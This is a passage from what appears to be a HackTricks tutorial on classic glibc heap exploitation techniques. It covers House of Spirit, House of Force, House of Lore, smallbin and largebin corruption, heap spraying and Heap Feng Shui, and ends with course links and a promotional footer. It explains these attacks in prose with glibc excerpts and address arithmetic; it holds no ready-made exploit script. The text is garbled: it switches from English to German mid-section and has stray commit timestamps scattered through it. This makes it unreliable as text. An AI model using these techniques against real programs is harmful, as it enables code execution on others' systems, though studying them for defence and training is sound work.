In **av->fastbins\[0\]**, the address of **p** will be overwritten, and it will be the RET, thus jumping to the shellcode.
Additionally, in **av->system\_mem** (1484 bytes above the stack position), there will be enough garbage to bypass the check.
Moreover, the contiguous chunk to the freed one must be larger than 8 -> Since we have mentioned that the size of the freed chunk is 16, in this fake chunk, we just need to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we need to put a jmp at the beginning that falls into nops that come after the size field of the new fake chunk).
**The House of Spirit**
In this case, we aim to have a pointer to a malloc that can be altered by the attacker (e.g., the pointer is on the stack below a potential overflow to a variable).
Thus, we could make this pointer point wherever we want. However, not every location is valid; the size of the faked chunk must be smaller than av->max\_fast and more specifically equal to the size requested in a future malloc() call + 8. Therefore, if we know that after this vulnerable pointer, a malloc(40) is called, the size of the fake chunk must be 48.
For example, if the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could belong to EBP with luck, so the 48 remains behind, as if it were the size header). Additionally, the address ptr-4+48 must meet several conditions (in this case, ptr=EBP), that is, 8 < ptr-4+48 < av->system\_mem.
If this is met, when the next malloc call, which we said was malloc(40), is made, the EBP address will be assigned. If the attacker can also control what is written in this malloc, they can overwrite both the EBP and the EIP with the desired address.
I think this is because when it is freed, free() will save that at the address pointing to the EBP of the stack, there is a chunk of the perfect size for the new malloc() being reserved, so it assigns that address.
**The House of Force**
It is necessary:
* An overflow to a chunk that allows overwriting the wilderness
* A call to malloc() with the size defined by the user
* A call to malloc() whose data can be defined by the user
The first thing to do is overwrite the size of the wilderness chunk with a very large value (0xffffffff), so any sufficiently large memory request will be handled in \_int\_malloc() without the need to expand the heap.
The second step is to alter av->top to point to a memory area under the attacker's control, such as the stack. In av->top, \&EIP - 8 will be placed.
We need to overwrite av->top to point to the memory area under the attacker's control:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim collects the value of the current wilderness chunk address (the current av->top), and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So, if \&EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we need to reserve in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be:
0xbffff224 - 0x080c2788 = 3086207644.
This way, the altered value will be saved in av->top, and the next malloc will point to EIP and can be overwritten.
It is important to ensure that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to \&EIP-8, the size will be right in the EBP field of the stack.
**The House of Lore**
**SmallBin Corruption**
The freed chunks are placed in the bin based on their size. But before being placed, they are stored in unsorted bins. When a chunk is freed, it is not immediately placed in its bin but remains in unsorted bins. Next, if a new chunk is requested and the previously freed one can be used, it is returned; otherwise, if a larger chunk is requested, the freed chunk in unsorted bins is placed in its appropriate bin.
To reach the vulnerable code, the memory request must be greater than av->max\_fast (usually 72) and less than MIN\_LARGE\_SIZE (512).
If there is a chunk in the bin of the appropriate size for the request, it is returned after unlinking it:
bck = victim->bk; Points to the previous chunk, the only info we can alter.
bin->bk = bck; The penultimate chunk becomes the last one, and if bck points to the stack, the next reserved chunk will be given this address.
bck->fd = bin; The list is closed by making it point to bin.
Requirements:
Reservieren Sie zwei mallocs, so dass das erste nach der Freigabe des zweiten überlaufen werden kann und in seinen Bin eingefügt wird (dh ein malloc größer als der zweite Abschnitt reserviert wird, bevor der Überlauf erfolgt).
Der vom Angreifer gewählte Speicherbereich des reservierten mallocs muss kontrolliert werden.
Das Ziel ist es, wenn wir einen Heap überlaufen können, der darunter einen bereits freigegebenen und in seinem Bin befindlichen Abschnitt hat, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieser Abschnitt der erste in der Bin-Liste wird und reserviert wird, wird die Bin getäuscht und glaubt, dass der nächste Abschnitt in der falschen Adresse liegt, die wir angegeben haben (zum Beispiel im Stack oder GOT). Wenn also ein weiterer Abschnitt reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Abschnitt an der gewünschten Position gegeben und er kann dort schreiben.
Nachdem der modifizierte Abschnitt freigegeben wurde, muss ein größerer Abschnitt als der freigegebene reserviert werden, damit der modifizierte Abschnitt aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Sobald er in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf zu ändern, damit er auf die gewünschte Adresse zeigt.
Daher muss die Bin warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und die Bin täuscht, indem sie glaubt, dass der nächste Abschnitt in der falschen Adresse liegt. Dann wird der gewünschte Abschnitt gegeben.
Um die Verwundbarkeit so schnell wie möglich auszunutzen, wäre ideal: Reservierung des verwundbaren Abschnitts, Reservierung des Abschnitts, der geändert wird, Freigabe dieses Abschnitts, Reservierung eines größeren Abschnitts als des zu ändernden, Änderung des Abschnitts (Verwundbarkeit), Reservierung eines Abschnitts gleicher Größe wie der verwundene und Reservierung eines zweiten Abschnitts gleicher Größe, der auf die gewählte Adresse zeigt.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass der Abschnitt "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Abschnitts, der im Stack angezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer in der Lage sein, auf die richtige Weise (wahrscheinlich über den Stack) die Adresse von victim in die richtige Adresse zu schreiben. Damit es wie ein echter Abschnitt aussieht.
**Korruption LargeBin**
Die gleichen Anforderungen wie zuvor sind erforderlich, und zusätzlich müssen die reservierten Abschnitte größer als 512 sein.
Der Angriff ist wie zuvor, dh der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Abschnitts so geändert werden, dass diese Größe - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned Wert verglichen wird).
Darüber hinaus wurde ein Patch eingeführt, um es noch komplizierter zu machen.
**Heap Spraying**
Es besteht im Wesentlichen darin, so viel wie möglich Speicher für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
**Heap Feng Shui**
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Abschnitte zwischen freien Abschnitten verbleiben. Der zu überlaufende Puffer wird in einem der freien Abschnitte platziert.
2024-02-10 15:36:32 +00:00
## Interessante Kurse
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
2024-02-10 15:36:32 +00:00
## **Referenzen**
2021-09-26 15:10:12 +00:00
2022-04-05 22:24:52 +00:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 10:12:47 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>